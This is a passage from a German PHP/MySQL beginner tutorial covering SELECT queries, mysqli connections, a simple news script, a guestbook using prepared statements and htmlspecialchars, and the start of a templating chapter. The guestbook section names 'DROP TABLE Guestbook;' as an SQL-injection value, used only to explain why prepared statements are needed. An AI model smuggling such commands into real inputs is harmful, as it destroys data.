Dieses Umbenennen ist wichtig wenn später versucht wird aus zwei Tabellen gleichzeitig zu lesen aber beide Tabellen jeweils eine Spalte mit den gleichen Namen besitzen (üblicherweise die ID-Spalte).

2. SELECT-Query einrücken

Da SELECT-Queries die Angewohnheit haben sehr lang zu werden ist es üblich ihn wie bei den anderen SQL-Queries sauber einzurücken um die Übersicht zu erhöhen. Die Werte nach dem SELECT-Schlüsselwort schreibt man dann üblicherweise jeweils in einer Zeile und jeweils um eine Einrücktiefe eingerückt.

SELECT NOW() AS Jetzt, "Foobar" AS Username, 6 AS Level;

Aus dem Query wird dann folgender Query.

SELECT
    NOW() AS Jetzt,
    "Foobar" AS Username,
    6 AS Level;

Somit sieht man sofort wieviele Spalten die Ergebnistabelle haben wird.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

MySQL / Daten aus einer Tabelle auslesen

  1. SELECT auf Tabellen

1. SELECT auf Tabellen

Da wir nun einzelne Daten auslesen können versuchen wir nun Daten aus Tabellen auszulesen. Dazu wird der SELECT-Befehl um ein FROM ...-Teil erweitert. Der ...-Teil gibt dabei die Tabelle an aus der wir die Daten auslesen wollen. Wenn wir auf diese Weise eine Tabelle auslesen können wir im SELECT-Teil die Spaltennamen aus der Tabelle verwenden. Die Syntax ist also SELECT spalten FROM tabelle. Als Beispiel lesen wir aus der Tabelle News die Spalten ID, Autor und Titel aus.

SELECT
    Autor,
    ID,
    Titel
FROM
    News;

Wir erhalten folgende Ergebnistabelle.

Erebnistabelle vom SELECT-Query
Autor ID Titel
1
Ich 2 Meine erste News

Einmal sehen wir dass die Ergebnistabelle 3 Spalten und 2 Zeilen besitzt. Dies ist auch logisch da die Tabelle eh nur 2 Datensätze besitzt und wir im SELECT-Query nur 3 Spalten angegeben haben. Wir sehen aber auch dass die erste Zeile leere Strings enthält. Aber auch das ist logisch da der Datensatz mit der ID 1 überall nur leere Strings enthält. Die Reihenfolge der Spalten können wir nach belieben ändern, in PHP werden wir eh über die Spaltennamen (und nicht über die Spaltenpositionen) auf die Werte zugreifen.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

MySQL / Zugriff über PHP

  1. MySQLi

1. MySQLi

Um wieder zurück auf PHP zu kommen: wir wollen natürlich mit PHP auf die Datenbank zugreifen. Da wir nicht einfach so ein SQL-Query im PHP-Skript schreiben können brauchen wir eine Möglichkeit auf die MySQL-Datenbank zuzugreifen. Wir verwenden dabei die mysqli-Extension, und davon die OOP-Variante.

Die mysqli-Extension stellt eingie Klassen bereit um mit MySQL zu arbeiten. Wir benutzen dabei die MySQLi Klasse. Über den Konstruktor geben wir die Zugangsinformationen an um auf die Datenbank zuzugreifen.

<?php
$db 
= new mysqli('localhost''username''password''database');
?>

Wenn keine Verbindung aufgebaut wurde so wird eine Warning erzeugt. Wir unterdrücken diese Fehlermeldung indem wir ein @-Zeichen vor dem new-Operator schreiben. So werden Fehlermeldungen die in dieser Zeile erzeugt werden nicht mehr angezeigt. Dies ist jedoch keine Einladung überall @-Zeichen hinzuschreiben. Es wird nur die Fehlermeldung unterdrückt, der Fehler selbst ist weiterhin vorhanden. Entsprechend prüfen wir ob wir eine Verbindung zur Datenbank aufbauen konnten oder nicht. Laut Handbuch geht dies indem wir den Rückgabewert von mysqli_connect_errno prüfen. Wenn der ungleich 0 ist ist ein Fehler aufgetreten, den wir dann mit mysqli_connect_error anzeigen können.

<?php
$db 
= @new mysqli('localhost''username''password''database');
if (
mysqli_connect_errno()) {
    die (
'Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')');
}
?>

Da wir unser MySQLi-Objekt haben können wir nun damit arbeiten. Hauptsächlich ist dies die query()-Methode (MySQLi::query), kann aber auch komplexer mit der prepare()-Methode (>mysqli_prepare) sein. Als Parameter gibt man den SQL-Query an, den man zur Datenbank senden möchte. Bei einem SELECT-Query liefert diese Funktion ein MySQLi_Result-Objekt zurück.

<?php
$db 
= @new mysqli('localhost''username''password''database');
if (
mysqli_connect_errno()) {
    die (
'Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')');
}
$sql 'SELECT
    Titel,
    Datum
FROM
    News'
;
$result $db->query($sql);
?>

Da jeder Query fehlschlagen kann, egal ob er nun syntaktisch richtig ist oder nicht, müssen wir überprüfen ob der Query fehlerhaft war. Dazu wird der Rückgabewert von query() überprüft. Ist dieser false so ist ein Fehler aufgetreten der über die error-Eigenschaft des MySQLi-Objekts abgerufen werden kann.

<?php
$db 
= @new mysqli('localhost''username''password''database');
if (
mysqli_connect_errno()) {
    die (
'Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')');
}
$sql 'SELECT
    Titel,
    Datum
FROM
    News'
;
$result $db->query($sql);
if (!
$result) {
    die (
'Etwas stimmte mit dem Query nicht: '.$db->error);
}
var_dump($db$result);    
?>

Mit der var_dump-Zeile gucken wir uns mal an was wir für Objekte haben.

object(mysqli)#1 (0) {
}
object(mysqli_result)#2 (0) {
}

Das eine ist unser MySQLi-Objekt, das andere unser erstelltes MySQLi_Result-Objekt mit denen wir nun arbeiten können. Zum Testen gucken wir mal wie groß die Ergebnistabelle ist, die wir abgefragt haben. Die Anzahl ist in der num_rows-Eigenschaft gespeichert (MySQLi_Result::num_rows).

<?php
$db 
= @new mysqli('localhost''username''password''database');
if (
mysqli_connect_errno()) {
    die (
'Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')');
}
$sql 'SELECT
    Titel,
    Datum
FROM
    News'
;
$result $db->query($sql);
if (!
$result) {
    die (
'Etwas stimmte mit dem Query nicht: '.$db->error);
}
echo 
'Die Ergebnistabelle besitzt '.$result->num_rows." Datensätze<br />\n";
?>

In unserem Fall wird 2 ausgegeben da wir nur 2 Datensätze in der Tabelle haben. Um nun auf die einzelnen Datensätze zuzugreifen verwenden wir die fetch_assoc()-Methode (MySQLi_Result::fetch_assoc). Diese Methode liefert ein Array zurück was von einem Datensatz alle Daten enthält. Jeder Aufruf der fetch_assoc()-Methode liefert den nächsten Datensatz zurück, bis das Ende erreicht wurde, wo dann statt dem Array der Wert NULL zurückgeliefert wird.

<?php
$db 
= @new mysqli('localhost''username''password''database');
if (
mysqli_connect_errno()) {
    die (
'Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')');
}
$sql 'SELECT
    Titel,
    Datum
FROM
    News'
;
$result $db->query($sql);
if (!
$result) {
    die (
'Etwas stimmte mit dem Query nicht: '.$db->error);
}
echo 
'Die Ergebnistabelle besitzt '.$result->num_rows." Datensätze<br />\n";
var_dump($result->fetch_assoc());
var_dump($result->fetch_assoc());
var_dump($result->fetch_assoc());
var_dump($result->fetch_assoc());
?>

Dieser Quellcode erzeugt folgende Ausgabe:

Die Ergebnistabelle besitzt 2 Datensätze<br />
array(2) {
  ["Titel"]=>
  string(0) ""
  ["Datum"]=>
  string(19) "0000-00-00 00:00:00"
}
array(2) {
  ["Titel"]=>
  string(16) "Meine erste News"
  ["Datum"]=>
  string(19) "2008-08-17 14:02:08"
}
NULL
NULL

Wie man sieht liefern die ersten beiden Aufrufe die entsprechenden Zeilen in der Ergebnistabelle und dann nur noch NULL-Werte. Daher kann man den fetch_assoc()-Aufruf ideal in einer while-Schleife verwenden.

<?php
$db 
= @new mysqli('localhost''username''password''database');
if (
mysqli_connect_errno()) {
    die (
'Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')');
}
$sql 'SELECT
    Titel,
    Datum
FROM
    News'
;
$result $db->query($sql);
if (!
$result) {
    die (
'Etwas stimmte mit dem Query nicht: '.$db->error);
}
echo 
'Die Ergebnistabelle besitzt '.$result->num_rows." Datensätze<br />\n";
while (
$row $result->fetch_assoc()) {  // NULL ist äquivalent zu false
    // $row ist nun das Array mit den Werten
    
echo 'Die News "'.$row['Titel'].'" wurde am "'.$row['Datum']."\" geschrieben<br />\n";
}
?>

Nachdem wir alle Datensätze ausgelesen haben können wir die Ergebnistabelle mit der close()-Methode wegwerfen (MySQLi_Result::close).

<?php
$db 
= @new mysqli('localhost''username''password''database');
if (
mysqli_connect_errno()) {
    die (
'Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')');
}
$sql 'SELECT
    Titel,
    Datum
FROM
    News'
;
$result $db->query($sql);
if (!
$result) {
    die (
'Etwas stimmte mit dem Query nicht: '.$db->error);
}
echo 
'Die Ergebnistabelle besitzt '.$result->num_rows." Datensätze<br />\n";
while (
$row $result->fetch_assoc()) {  // NULL ist äquivalent zu false
    // $row ist nun das Array mit den Werten
    
echo 'Die News "'.$row['Titel'].'" wurde am "'.$row['Datum']."\" geschrieben<br />\n";
}
$result->close();
unset(
$result); // und referenz zum objekt löschen, brauchen wir ja nicht mehr...
?>

Wer Lust hat kann am Ende des Skriptes noch die Verbindung zur Datenbank mit der close()-Methode beenden (MySQLi::close), dies passiert jedoch trivialerweise automatisch wenn das Skript beendet wird.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Newsskript

  1. Eigenes Newsskript
  2. Aufbau der MySQL-Tabelle
  3. Das eigentliche Newsskript
  4. Nachteile vom Newsskript

1. Eigenes Newsskript

Unser Newsskript soll einfach implementiert werden und dabei den HTML-Code quick'n'dirty ausgeben. Es wird dabei eine Standalone-Version, kann und sollte also nicht mit include in einen anderen Bereich reingeladen werden.

2. Aufbau der MySQL-Tabelle

Aus der Datenbank löschen wir die alte News-Tabelle mit phpMyAdmin oder mit dem Befehl DROP TABLE News;. Nun überlegen wir was wir alles für Spalten brauchen.

Beachtet das die NOT NULL nicht verhindern einen leeren String anzugeben, sie verhindern nur das überhaupt kein Wert angegeben wird (eben diesen NULL-Wert). Diese Tabelle kann man nun über phpMyAdmin oder per Hand mit einem SQL-Query hinzufügen.

CREATE TABLE News(
    ID INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
    Titel VARCHAR(100) NOT NULL,
    Datum DATETIME NOT NULL,
    Inhalt TEXT NOT NULL 
);

Er ist also fast wie die alte News-Tabelle. Eigentlich hätten wir auch die alte Tabelle nehmen können, wir fangen hier jedoch bei Null an.

3. Das eigentliche Newsskript

Nun schreiben wir das eigentliche Newsskript. Wie immer setzen wir das Error-Reporting hoch, damit wir alle Fehlermeldungen angezeigt bekommen.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);
?>

Dann bauen wir die Datenbank-Verbindung auf.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

// die MySQL-Daten entsprechend anpassen
$db = @new MySQLi('localhost''username''pass''dbname');
if (
mysqli_connect_errno()) {
    die(
'Konnte keine Verbindung zu Datenbank aufbauen, MySQL meldete: '.mysqli_connect_error());
    
// ist zwar keine saubere Fehlermeldung aber ist ja auch nur ne einfache Inplementierung
}
?>

Und nun gehts los. Zuerst geben wir den HTML-Header-Code aus. Dies machen wir aber nicht in dieser Datei sondern in einer extra Datei, die wir dann mit include laden.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

// die MySQL-Daten entsprechend anpassen
$db = @new MySQLi('localhost''username''pass''dbname');
if (
mysqli_connect_errno()) {
    die(
'Konnte keine Verbindung zu Datenbank aufbauen, MySQL meldete: '.mysqli_connect_error());
    
// ist zwar keine saubere Fehlermeldung aber ist ja auch nur ne einfache Inplementierung
}

include 
'header.html'// DOCTYPE, <html>, <head>, und was dazugehört
                       // inclusive den <body>-Tag
?>

Nun senden wir den SQL-Query und geben in einer Schleife die Daten aus.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

// die MySQL-Daten entsprechend anpassen
$db = @new MySQLi('localhost''username''pass''dbname');
if (
mysqli_connect_errno()) {
    die(
'Konnte keine Verbindung zu Datenbank aufbauen, MySQL meldete: '.mysqli_connect_error());
    
// ist zwar keine saubere Fehlermeldung aber ist ja auch nur ne einfache Inplementierung
}

include 
'header.html'// DOCTYPE, <html>, <head>, und was dazugehört
                       // inclusive den <body>-Tag
$sql 'SELECT
    Titel,
    Datum,
    Inhalt
FROM
    News
ORDER BY
    Datum DESC'
;
// "ORDER BY" damit die Datensätze nach der Datumsspalte sortiert werden, absteigend

$result $db->query($sql);
if (!
$result) {
    die (
'Konnte den Folgenden Query nicht senden: '.$sql."<br />\nFehlermeldung: ".$db->error);
}
if (!
$result->num_rows) {
    echo 
'<p class="info">Es sind keine Newsbeiträge vorhanden</p>';
} else {
    while (
$row $result->fetch_assoc()) {
        echo 
'<h1>'.$row['Titel']."</h1>\n";
        echo 
'<h2>'.$row['Datum']."</h2>\n";
        echo 
'<p>'.$row['Inhalt']."</p>\n";
    }
}
?>

Und dann geben wir am Ende noch den HTML-Footer aus. Den laden wir auch mit einem include.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

// die MySQL-Daten entsprechend anpassen
$db = @new MySQLi('localhost''username''pass''dbname');
if (
mysqli_connect_errno()) {
    die(
'Konnte keine Verbindung zu Datenbank aufbauen, MySQL meldete: '.mysqli_connect_error());
    
// ist zwar keine saubere Fehlermeldung aber ist ja auch nur ne einfache Inplementierung
}

include 
'header.html'// DOCTYPE, <html>, <head>, und was dazugehört
                       // inclusive den <body>-Tag
$sql 'SELECT
    Titel,
    Datum,
    Inhalt
FROM
    News
ORDER BY
    Datum DESC'
;
// "ORDER BY" damit die Datensätze nach der Datumsspalte sortiert werden, absteigend

$result $db->query($sql);
if (!
$result) {
    die (
'Konnte den Folgenden Query nicht senden: '.$sql."<br />\nFehlermeldung: ".$db->error);
}
if (!
$result->num_rows) {
    echo 
'<p class="info">Es sind keine Newsbeiträge vorhanden</p>';
} else {
    while (
$row $result->fetch_assoc()) {
        echo 
'<h1>'.$row['Titel']."</h1>\n";
        echo 
'<h2>'.$row['Datum']."</h2>\n";
        echo 
'<p>'.$row['Inhalt']."</p>\n";
    }
}
include 
'footer.html'// </body>, </html> und vielleicht noch irgendwelche copyright notes
?>

Somit ist unser einfaches Newsskript fertig.

4. Nachteile vom Newsskript

Im Moment können wir nur neue Newsbeiträge hinzufügen indem wir in der Datenbank selbst arbeiten. Dies können wir entsprechend wie gewohnt über phpMyAdmin machen. Dabei wählen wir einfach Insert und geben die Daten für den neuen Datensatz ein. Die ID-Spalte lassen wir leer und für die Datum-Spalte wählen wir die Funktion NOW() aus der Dropdown-Liste. Somit müssen wir also immer in phpMyAdmin um die Newsbeiträge zu bearbeiten, ganz zu schweigen von fehlenden Kommentarfunktionen für Besucher. Aber wie gesagt, es ist nur eine einfache Implementierung eines Newsskripts.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Gästebuch

  1. Eigenes Gästebuch schreiben
  2. Aufbaue der Tabelle in MySQL
  3. Aufbau des PHP-Skriptes
  4. Code zum Anzeigen der Beiträge
  5. Code zum hinzufügen von neuen Beiträgen
  6. Nachteile vom Gästebuch-Skript

1. Eigenes Gästebuch schreiben

Ein Gästebuch ist vergleichbar mit einem Newsskript nur dass die Beiträge von den Benutzern kommen, nicht vom Administrator der Seite. Jedoch liegen auch hier die Probleme denn die Benutzer können jeden Text eingeben den sie wollen. Dies kann dazu führen das in den Gästebucheinträgen Texte stehen die man lieber nicht haben möchte. Daher müssen alle Eingaben die vom Benutzer kommen geprüft werden. Des Weiteren muss man sich auch gegen Spam schützen.

2. Aufbaue der Tabelle in MySQL

Die Tabelle in MySQL wird einen vergleichbaren Aufbau wie die News-Tabelle haben. Neben den eigentlichen Text wird der Name und das Datum gespeichert. Daher wird die Tabelle 4 Spalten besitzen.

  1. ID - Die normale Identifikationsspalte vom Typ INT.

  2. Datum - Der Zeitpunkt wann der Eintrag hinzugefügt wurde. Typ ist entsprechend DATETIME.

  3. Autor - Der Name desjenigen der den Eintrag geschrieben hat. Ein VARCHAR(50) wird wohl reichen.

  4. Inhalt - Der eigentliche Text des Eintrags. Dieser wird entsprechend in einem TEXT-Feld gespeichert.

Der entsprechende SQL-Query sieht wie folgt aus.

CREATE TABLE Guestbook (
    ID INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
    Autor VARCHAR(50) NOT NULL,
    Datum DATETIME NOT NULL,
    Inhalt TEXT NOT NULL
);

Analog kann man auch über phpMyAdmin die Tabelle hinzufügen.

3. Aufbau des PHP-Skriptes

Das PHP-Skript vom Gästebuch muss zwei Aufgaben durchführen. Einmal muss es aus der Datenbank die Datensätze auslesen. Des Weiteren muss es Daten aus einem Formular verarbeiten und entsprechend neue Datensätze in die Datenbank eintragen. Dies unterscheiden wir anhand der $_SERVER['REQUEST_METHOD']-Variable. Bei einem POST-Request versuchen wir die Daten aus dem Formular in die Datenbank hinzuzufügen, bei allen anderen Requesttypen (insbesondere GET-Requests) zeigen wir das Gästebuch und ein Formular für neue Gästebucheinträge an.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

if (
'POST' == $_SERVER['REQUEST_METHOD']) {
    
// Code zum hinzufügen in der DB
} else {
    
// Anzeigen von Gästebuchbeiträgen und dem Formular.
}
?>

Da wir natürlich mit MySQL arbeiten wollen bauen wir eine Verbindung zur Datenbank auf. Außerdem laden wir noch HTML-Header- und HTML-Footer-Code via include oder besser via readfile.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

$db = @new mysqli('localhost''username''password''database');
if (
mysqli_connect_errno()) {
    die(
'Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')');
}

readfile('header.html'); // enthält auch das <body>-tag

if ('POST' == $_SERVER['REQUEST_METHOD']) {
    
// Code zum hinzufügen in der DB
} else {
    
// Anzeigen von Gästebuchbeiträgen und dem Formular.
}

readfile('footer.html');
?>

Nun können wir mit den Teilbereichen anfangen.

4. Code zum Anzeigen der Beiträge

Der PHP-Code zum Anzeigen der Beiträge ist vergleichbar mit dem Code aus dem Newsskript. Daher gibt es nicht viel zu erklären.

<?php
// [...]

} else {
    
$sql 'SELECT
                Datum,
                Autor,
                Inhalt
            FROM
                Guestbook
            ORDER BY
                Datum DESC'
;
    
$result $db->query($sql);
    if (!
$result) {
        die(
'Der Query konnte nicht ausgeführt werden: '.$db->error);
    }
    if (
$result->num_rows) {
        while (
$row $result->fetch_assoc()) {
            echo 
'<div class="beitrag">'."\n";
            echo 
'    <span class="autor">'.htmlspecialchars($row['Autor'])."</span>\n";
            echo 
'    <span class="datum">'.$row['Datum']."</span>\n";
            echo 
"    <p>\n";
            echo 
nl2br(htmlspecialchars(preg_replace('~\S{30}~''\0 '$row['Inhalt'])));
            echo 
"    </p>\n";
            echo 
"</div>\n";
        }
    } else {
        echo 
'<p class="info">Es sind keine Gästebucheinträge vorhanden</p>';
    } 
    
readfile('formular.html');
}

// [...]
?>

Die Funktion htmlspecialchars dient dazu besondere HTML-Zeichen wie < zu escapen damit sie als Text angezeigt werden und nicht irgendwie unseren HTML-Code durcheinander bringen. Dies ist nötig da die Daten von Benutzer kommen und die sehr kreativ sind wenn es darum geht ein Gästebuch mit Müll zu füllen. Die Funktion nl2br fügt hinter jedem Zeilenumbruch im Beitrag ein HTML-Zeilenumbruch <br /> ein. Dies ist nötig da der Text in der Datenbank nur normale Zeilenumbrüche mittels \n enthält. Der preg_replace-Ausdruck ist nicht einfach zu erklären da er ein regulären Ausdruck enthält. Reguläre Ausdrücke wird jedoch erst in einem späteren Kapitel durchgenommen. Um es kurz zu machen: dieser preg_replace Ausdruck fügt in Wörter die länger als 30 Zeichen sind hinter jedem 30. Zeichen ein Leerzeichen ein. Damit verhindern wir dass Spaßvögel sowas wie AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... eingeben und die Internetseite unnötig breit machen.

Die formular.html-Datei enthält den Code für ein Formular damit die Besucher etwas ins Gästebuch schreiben können.

<form action="guestbook.php" method="post">
    <fieldset>
        <legend>Ins Gästebuch Eintragen</legend>
        <label>Name: <input type="text" name="Autor" /></label>
        <label>Text: <textarea name="Inhalt" rows="6" cols="40"></textarea></label>
        <label>{FRAGE}: <input type="text" name="Antwort"/></label>
        <input type="submit" name="formaction" value="Eintragen" />
    </fieldset>
</form>

Wie man sieht gehen wir davon aus dass das Gästebuch unter der Datei guestbook.php erreichbar ist. Der Bereich {FRAGE} dient dazu Spam im Gästebuch zu verhindern, dazu später mehr.

Es ist klar dass das Gästebuch noch leer ist und wir beim testen nur die Anzeige Es sind keine Gästebucheinträge vorhanden bekommen. Daher nun der Code zum hinzufügen von Beiträgen.

5. Code zum hinzufügen von neuen Beiträgen

Aus dem Formular kriegen wir die Felder Autor, Inhalt, Antwort und formaction. Daher prüfen wir zuerst ob wir diese Daten auch wirklich bekommen, denn es könnte sein dass ein Benutzer ein eigenes Formular verwendet.

<?php
// [...]

if ('POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['Autor'], $_POST['Inhalt'], $_POST['Antwort'], $_POST['formaction'])) {
        die (
'Benutzen sie nur Formulare von der Homepage.');
    }
} else {

// [...]
?>

Nun machen wir einfache Textabfragen indem wir gucken ob der Benutzer überhaupt was eingegeben hat. Dazu verwenden wir einmal die Funktion trim um Leerzeichen vor und nach der Eingabe zu löschen und vergleichen den Rückgabewert mit '' und wissen dann ob was eingegeben wurde oder nicht.

<?php
// [...]

if ('POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['Autor'], $_POST['Inhalt'], $_POST['Antwort'], $_POST['formaction'])) {
        die (
'Benutzen sie nur Formulare von der Homepage.');
    }
    if ((
'' == $autor trim($_POST['Autor'])) or 
            (
'' == $inhalt trim($_POST['Inhalt'])) or
            (
'' == $antwort trim($_POST['Antwort']))) {
        die (
'Bitte füllen sie das Formular vollständig aus.');
    }
} else {

// [...]
?>

Nun prüfen wir das Antwort-Feld. Dabei erwarten wir eine bestimmte Antwort von dem Benutzer. Der {FRAGE}-Teil in dem Formular muss entsprechend geändert werden. Dies ist vergleichbar mit einem CAPTCHA jedoch viel simpler. Anhand dieser Eingabe schließen wir Spam-Bots aus die Gästebücher mit Müll zuspammen. Hier reicht es wenn man nach einen einzelnen Wort fragt, dass der Benutzer eintragen soll.

<?php
// [...]

if ('POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['Autor'], $_POST['Inhalt'], $_POST['Antwort'], $_POST['formaction'])) {
        die (
'Benutzen sie nur Formulare von der Homepage.');
    }
    if ((
'' == $autor trim($_POST['Autor'])) or 
            (
'' == $inhalt trim($_POST['Inhalt'])) or
            (
'' == $antwort trim($_POST['Antwort']))) {
        die (
'Bitte füllen sie das Formular vollständig aus.');
    }
    if (
'' != $antwort) { // entsprechend Anpassen, sowie den {FRAGE}-Teil im Formular
        
die ('Sie müssen die Frage richtig beantworten.');
    }
} else {

// [...]
?>

Beachtet dass man den Besuchern nicht zu viel abverlangt, insbesondere Groß- und Kleinschreibungen. Für den Fall dass man dann doch Spam im Gästebuch hat hat man ganz andere Probleme als Spam im Gästebuch, denn dann hat jemand speziell ein Skript geschrieben um genau dieses Gästebuch zuzuspammen und dann ist es etwas persönliches gegen euch und hat nichts mehr mit dem Hintergrundrauschen von Spam im Internet zu tun.

Nun können wir die Daten in die Datenbank speichern. Am einfachsten wäre es den INSERT-Befehl mit Stringverkettung aus Strings und den Variablen zusammenzubauen. Dies wird problematisch da die Variablen beliebigen Inhalt haben können, insbesondere '-Zeichen die den SQL-Query kaputt machen. Dies nennt man auch SQL-Injection, da die Besucher auch versuchen SQL-Befehle wie DROP TABLE Guestbook; einzuschleusen. Daher muss man die Daten irgendwie verändern/schützen. In der mysql-Extension wurde dies mit der mysql_real_escape_string-Funktion gemacht.

<?php
$sql 
'INSERT INTO
            Guestbook(Autor,Datum,Inhalt)
        VALUES
            ("'
.mysql_real_escape_string($autor).'",
             NOW(),
             "'
.mysql_real_escape_string($inhalt).'");';
?>

In MySQLi verwenden wir dafür Prepared Statements. Dies sind SQL-Queries die Platzhalter enthalten (einfache ?-Zeichen). Durch entsprechende Funktionen werden diese Platzhalter dann mit Werten gefüllt. Diese Funktionen sorgen dann dafür dass die Inhalte entsprechend verarbeitet werden damit sie keinen Unsinn anstellen und den SQL-Query nicht zerstören.

Um so ein prepared statement zu erstellen wird die Methode prepare() verwendet (mysqli_prepare). Dabei geben ?-Zeichen die Platzhalter an, die wir dann später mit Daten füllen.

<?php
// [...]

if ('POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['Autor'], $_POST['Inhalt'], $_POST['Antwort'], $_POST['formaction'])) {
        die (
'Benutzen sie nur Formulare von der Homepage.');
    }
    if ((
'' == $autor trim($_POST['Autor'])) or 
            (
'' == $inhalt trim($_POST['Inhalt'])) or
            (
'' == $antwort trim($_POST['Antwort']))) {
        die (
'Bitte füllen sie das Formular vollständig aus.');
    }
    if (
'' != $antwort) { // entsprechend Anpassen, sowie den {FRAGE}-Teil im Formular
        
die ('Sie müssen die Frage richtig beantworten.');
    }
    
$sql 'INSERT INTO
                Guestbook(Autor, Datum, Inhalt)
            VALUES
                (?, NOW(), ?)'
;
    
$stmt $db->prepare($sql);
    if (!
$stmt) {
        die (
'Es konnte kein SQL-Query vorbereitet werden: '.$db->error);
    }
} else {

// [...]
?>

Da auch ein prepare() fehlschlagen kann müssen wir ihn auf Fehler überprüfen. Die Methode liefert wenn alles gut ist ein MySQLi_STMT-Objekt zurück, mit denen wir dann arbeiten. Für unsere Zwecke sind dies die bind_param()- und execute()-Methoden.

<?php
// [...]

if ('POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['Autor'], $_POST['Inhalt'], $_POST['Antwort'], $_POST['formaction'])) {
        die (
'Benutzen sie nur Formulare von der Homepage.');
    }
    if ((
'' == $autor trim($_POST['Autor'])) or 
            (
'' == $inhalt trim($_POST['Inhalt'])) or
            (
'' == $antwort trim($_POST['Antwort']))) {
        die (
'Bitte füllen sie das Formular vollständig aus.');
    }
    if (
'' != $antwort) { // entsprechend Anpassen, sowie den {FRAGE}-Teil im Formular
        
die ('Sie müssen die Frage richtig beantworten.');
    }
    
$sql 'INSERT INTO
                Guestbook(Autor, Datum, Inhalt)
            VALUES
                (?, NOW(), ?)'
;
    
$stmt $db->prepare($sql);
    if (!
$stmt) {
        die (
'Es konnte kein SQL-Query vorbereitet werden: '.$db->error);
    }
    
$stmt->bind_param('ss'$autor$inhalt);
    if (!
$stmt->execute()) {
        die (
'Query konnte nicht ausgeführt werden: '.$stmt->error);
    }
    echo 
'<p class="info">Gästebucheintrag hinzugefügt. <a href="guestbook.php">Zurück zum Gästebuch</a>.</p>';
} else {

// [...]
?>

Die zwei s-Zeichen geben an das 2 Strings Variablen folgen (für die Spalten Autor und Inhalt). Für die Methode bind_param() existieren noch die Zeichen i für Integerzahlen, d für Floatzahlen (double) und b für Binärdaten. Wir werden Hauptsächlich nur i und s verwenden. Danach wird mit der execute()-Methode der Query ausgeführt und dann geben wir nur noch ein Infotext aus. Da auch die execute()-Methode fehlschlagen kann wird hier der Rückgabewert geprüft. Ist dieser false wird entsprechend eine Fehlermeldung ausgegeben.

Beim Testen kann es passieren dass wir einen Webserver mit magic quotes haben. Da wir selber uns um das richtige escapen kümmern laden wir in unserem PHP-Skript den Code der die Backslashes von magic quotes löscht. Dies machen wir so weit oben wie möglich.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

include 
'magic_quotes_remove_slashes.php'// oder wie man seine Datei genannt hat
// oder den Quellcode direkt einfügen.

// [...]
?>

Somit ist unser Skript nun fertig.

6. Nachteile vom Gästebuch-Skript

Auch wenn es viele Angriff abwehrt ist es nicht total sicher. Insbesondere kann ein Benutzer mehrere Gästebucheinträge auf einmal hinzufügen. Dies kann man versuchen zu unterbinden wenn die IP-Adresse mitgespeichert wird und vorm Eintragen geprüft wird ob ein Datensatz bereits existiert oder nicht. Außerdem fehlt eine Blätterfunktion und alle Einträge werden auf einer Seite dargestellt.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Browsergame

  1. Ein eigenes Browsergame

1. Ein eigenes Browsergame

Bei einem Browsergame handelt es sich um ein Spiel welches meist mit PHP geschrieben ist und im Browser gespielt wird. Inhaltlich geht es dabei meist um Weltraumsimulationen oder Aufbauspiele. Es gibt Hunderte solcher Spiele, einige haben sogar Artikel in der wikipedia. Und weil es so viele Spiele gibt werden wir hier kein neues Browsergame entwickeln.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Templatesystem

  1. Aufbau eines Templatesystems
  2. Templatesysteme in PHP
  3. Eigenes Templatesystem schreiben
  4. Vor- und Nachteile dieses Templatesystems

1. Aufbau eines Templatesystems

Bei einem Templatesystem versucht man den Bereich im PHP-Skript der für die Ausgabe zuständig ist von dem Teil des Skripts zu trennen der für den Rest zuständig ist. Dies entspricht in etwa dem einem Model View Controller. Die Bereiche für die Ausgabe werden dabei in extra Dateien ausgelagert. Solche Dateien werden dann Templates genannt. Mit so einer Trennung ist es viel einfacher die Ausgabe eines Skriptes zu verändern. Es wird nur die entsprechende Template-Datei bearbeitet, der Skript-Teil der für das Holen der Daten für das Template zuständig ist bleibt dabei unberührt. So kann z.B. ein Webdesigner die Template-Dateien nach seinen HTML- und CSS-Wissen bearbeiten ohne zu Wissen wie die Daten aus einer MySQL-Datenbank ausgelesen werden.

2. Templatesysteme in PHP

